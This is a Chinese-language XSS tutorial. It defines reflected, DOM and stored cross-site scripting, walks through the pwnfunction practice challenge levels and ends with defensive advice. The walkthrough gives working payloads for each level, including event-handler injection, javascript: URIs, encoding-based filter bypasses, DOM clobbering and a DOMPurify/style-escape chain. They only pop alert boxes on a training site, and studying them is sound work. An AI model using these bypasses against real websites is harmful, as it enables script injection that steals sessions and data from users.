目录
一、XSS漏洞的定义
1.什么是XSS漏洞?
二、XSS漏洞的类型
1.反射型 XSS
2.DOM型 XSS
3.存储型 XSS
三、实战案例演练
第1关 Ma Spaghet
第2关 Jefff
第3关 Ugandan Knuckles
第4关 Ricardo Milos
第5关 Ah That's Hawt
第6关 Ligma
第7关 Mafia
第8关 Ok, Boomer
第hard关 WW3
四、如何防御 XSS 漏洞
一、XSS漏洞的定义
1.什么是XSS漏洞?
XSS 跨站脚本攻击(Cross-Site Scripting, XSS)是一种常见的网络安全漏洞,它允许攻击者在其他用户访问的网页中注入恶意脚本。XSS 攻击的主要目标是通过在受害者的浏览器中执行恶意代码来窃取敏感信息、篡改网页内容或劫持用户会话。
二、XSS漏洞的类型
1.反射型 XSS
反射型 XSS 是最常见的 XSS 类型之一。它的特点是,恶意脚本不会被持久化到服务器上,而是通过即时传递给用户。反射型 XSS 通常发生在用户提交数据给服务器并由服务器立即反射回来、嵌入到响应中而不进行适当的验证或编码时。
反射型 XSS 的工作流程:
- 用户点击攻击者提供的恶意链接。
- 该链接将用户输入的数据发送到服务器。
- 服务器在响应中反射这些数据,并将其嵌入到网页中。
- 浏览器执行嵌入的恶意脚本。
2.DOM型 XSS
DOM型 XSS 是一种在客户端(浏览器端)发生的 XSS 攻击。与反射型和存储型 XSS 不同,它不依赖服务器生成的响应,而是通过修改页面的 DOM 结构来执行恶意脚本。DOM型 XSS 通常发生在前端 JavaScript 代码中直接使用不受信任的数据时。
DOM型 XSS 的工作流程:
- 用户访问或点击攻击者构造的链接。
- 浏览器根据链接的参数(如 URL 片段、查询字符串等)生成页面。
- JavaScript 脚本在页面加载时,使用这些数据来操作 DOM。
- 如果没有对数据进行适当的处理,恶意脚本将被执行。
3.存储型 XSS
存储型 XSS 是 XSS 攻击中最危险的一种类型。与反射型 XSS 不同,存储型 XSS 是指攻击者将恶意脚本永久存储在目标服务器上,通常在数据库、日志、评论或其他用户生成内容的地方。每当用户访问包含这些恶意脚本的页面时,脚本就会在他们的浏览器中执行。
存储型 XSS 的工作流程:
- 攻击者将恶意脚本输入到网站的某个表单或其他输入域中,并将其提交给服务器。
- 服务器将这些数据存储在数据库中(或其他持久化存储中)。
- 当其他用户访问包含这些数据的页面时,服务器将数据返回给用户。
- 用户的浏览器接收到包含恶意脚本的页面,并执行该脚本。
三、实战案例演练
首先要了解浏览器解析机制和XSS向量编码,例如JavaScript:alert(1337)、JavaScript支持Unicode编码、严格大小写、不能编码符号。
浏览器解析机制决定了如何处理和显示 HTML、CSS 和 JavaScript。当浏览器解析 HTML 文档时,会将其转换为 DOM 树,并执行页面中的 JavaScript 代码。如果用户输入的数据未经过适当的验证和编码,浏览器可能会将这些数据视为代码执行,从而引发 XSS 攻击。XSS 向量是攻击者利用漏洞的具体输入内容,通常包含恶意的 JavaScript 代码,并可能使用各种编码方式(如 HTML 实体编码、URL 编码)进行混淆,以绕过服务器端的防护机制。浏览器在解析时会自动解码这些编码形式,使得未处理的输入被解释为实际代码。话不多说,直接用案例告诉你。
这是一个练习XSS的网址,点击关卡后点击右上角Let's go开始挑战:https://xss.pwnfunction.com/
第1关 Ma Spaghet
源码:
测试:?somebody=bbb
?somebody=<img src=1 onerror="alert(1337)">
第2关 Jefff
源码:赋值给ma观察到传入到eval中,停留1秒。
?jeff=bbb";alert(1337);"
?jeff=bbb"-alert(1337)-"
第3关 Ugandan Knuckles
源码:
?wey=bbb" οnclick="alert(1337),这种方式需要点击事件,但是违背题目,不能用户交互。
用焦点,onfocus聚焦,input表单自动触发。但是还是存在用户交互。用autofocus。
?wey=bbb" onfocus=alert(1337) autofocus="
第4关 Ricardo Milos
源码:
get传参,获取form表单id,2秒后自动提交。利用form表单的action伪协议事件。
?ricardo=javascript:alert(1337)
第5关 Ah That's Hawt
源码:
可以看到做了个过滤:括号、点、斜杠、转义字符,函数触发不了,想到和前面类似,用location把他变成字符串,用%2528替换(,%2529替换),直接绕过。
?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">
第6关 Ligma
源码:
过滤字母、数字。只能用编码绕过。JSFuck编码。
在用url编码来写。
alert(1337)
JSFuck加密: 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第7关 Mafia
源码:
又是过滤,作者忘了confirm函数,直接用函数confirm卡bug。
?mafia=confirm(1337)
上面是歪门邪道!!!!!!!!正确的方法如下:
匿名函数,利用匿名函数的参数构造payload,同时使用正则表达式来绕过alert字符串的检测。JS严格区分大小写,对Function函数进行toLowerCase()转小写,然后立即执行。
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
当然,parseInt函数也可以。将30进制的数字8680439转换成字符串,30进制是因为,最后一位t是26个字母的第20位,加上0-9,10位,就是30。也就是就是alert eval(8680439..toString(30))(1337)
第8关 Ok, Boomer
源码:
DOMPurify这个第三方库很牛逼,基本你没办法绕过,都会被过滤。
DOM破坏。只有一个定时器,能够被利用,2秒后执行一个ok,思路是想办法在前面写个id=ok,后面调用ok,能够取到前面的值。
?boomer=<a id=ok href="tel:alert(1337)">
第hard关 WW3
源码:
<!-- Challenge -->
<div>
<h4>Meme Code</h4>
<textarea class="form-control" id="meme-code" rows="4"></textarea>
<div id="notify"></div>
</div>
<script>
/* Utils */
const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
const memeTemplate = (img, text) => {
return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+
`.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+
`.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+
`position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+
`<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)
}
const memeGen = (that, notify) => {
if (text && img) {
template = memeTemplate(img, text)
if (notify) {
html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
}
setTimeout(_ => {
$('#status').remove()
notify ? ($('#notify').html(html)) : ''
$('#meme-code').text(template)
}, 1000)
}
}
</script>
<script>
/* Main */
let notify = false;
let text = new URL(location).searchParams.get('text')
let img = new URL(location).searchParams.get('img')
if (text && img) {
document.write(
`<div class="alert alert-primary" role="alert" id="status">`+
`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+
`Creating meme... (${DOMPurify.sanitize(text)})</div>`
)
} else {
$('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))
}
</script>
思路:目标:$(“#notify”).html(html)。
1、绕过过滤框架
2、html逃逸style标签
3、nofity dom 破解 使其为真
<img name=notify><style><style/><script>alert()//
?text=<img name%3dnotify><style><style%2F><script>alert(1337)%2F%2F&img=https://i.imgur.com/PdbDexI.jpg
完成挑战。
四、如何防御 XSS 漏洞
1.输入验证: 所有来自用户的输入都应该被认为是不可信的,需要经过严格的验证和过滤。尤其要注意特殊字符的转义,例如 <
, >
, "
, '
等。
2.输出编码: 将用户输入内容输出到网页时,确保对 HTML、JavaScript、URL 等进行适当的编码,防止恶意脚本执行。
3.使用安全的库和框架: 使用经过验证的安全库和框架来处理用户输入和输出,减少手动编码时引入 XSS 漏洞的可能性。
4.设置安全标头: 利用 HTTP 安全标头(如 Content-Security-Policy
)来限制网页中允许执行的脚本来源,降低 XSS 攻击的风险。
5.避免在 URL 中直接使用用户输入: 避免将用户输入直接嵌入到 URL 中,如果必须这样做,确保对输入进行编码或处理。